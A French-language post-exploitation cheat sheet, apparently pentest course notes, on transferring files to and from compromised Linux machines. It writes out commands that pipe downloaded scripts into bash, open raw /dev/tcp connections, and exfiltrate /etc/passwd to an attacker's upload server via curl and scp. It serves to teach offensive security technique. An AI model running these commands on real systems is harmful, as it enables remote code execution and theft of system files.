Menu

Synthèse – Méthodes de Transfert de Fichiers sous Linux

📅mai 3, 2025, 20 minutes

🎯 Objectif

Comprendre et utiliser diverses méthodes pour transférer des fichiers sur des systèmes Linux, même dans des environnements restreints ou post-exploitation.


🔽 Méthodes de téléchargement (vers la machine cible)

Méthode Commande exemple Remarques
wget wget URL -O /chemin/fichier Fréquent, simple
curl curl -o /chemin/fichier URL Alternative à wget
Sans fichier (pipe) `curl URL bash/wget -qO- URL
Bash /dev/tcp Connexion HTTP brute : exec 3<>/dev/tcp/IP/PORT + GET /fichier HTTP/1.1 Pour environnements très limités
Base64 Encode avec base64 -w 0, transfère manuellement, puis `echo ... base64 -d`
SCP scp fichier user@IP:/chemin Nécessite SSH ouvert
Serveur web Python/PHP python3 -m http.server / php -S 0.0.0.0:8000 Facile à lancer rapidement

🔼 Méthodes de téléchargement (vers l’attaquant)

Méthode Commande exemple Remarques
cURL vers serveur uploadserver curl -X POST https://IP/upload -F 'files=@/etc/passwd' Nécessite uploadserver côté attaquant
Serveur web sur la cible mv fichier /var/www/html && wget http://IP/fichier Exploite le serveur web de la cible
SCP depuis la cible scp /etc/passwd user@IP:/home/user/ Nécessite SSH sortant disponible

🔐 Serveur d’upload sécurisé (uploadserver)

  1. Installer le serveur :

    bash
    python3 -m pip install --user uploadserver
  2. Créer un certificat auto-signé :

    bash
    openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
  3. Lancer le serveur :

    bash
    python3 -m uploadserver 443 --server-certificate ~/server.pem
  4. Uploader depuis la cible :

    bash
    curl -X POST https://IP/upload -F 'files=@/etc/passwd' --insecure

📌 Remarques clés

  • Beaucoup d'environnements bloquent FTP ou SMB → HTTP(S) privilégié.

  • La flexibilité de Linux permet des transferts via base64, pipes, redirections, etc.

  • Le trafic peut être surveillé → certains outils doivent être utilisés prudemment.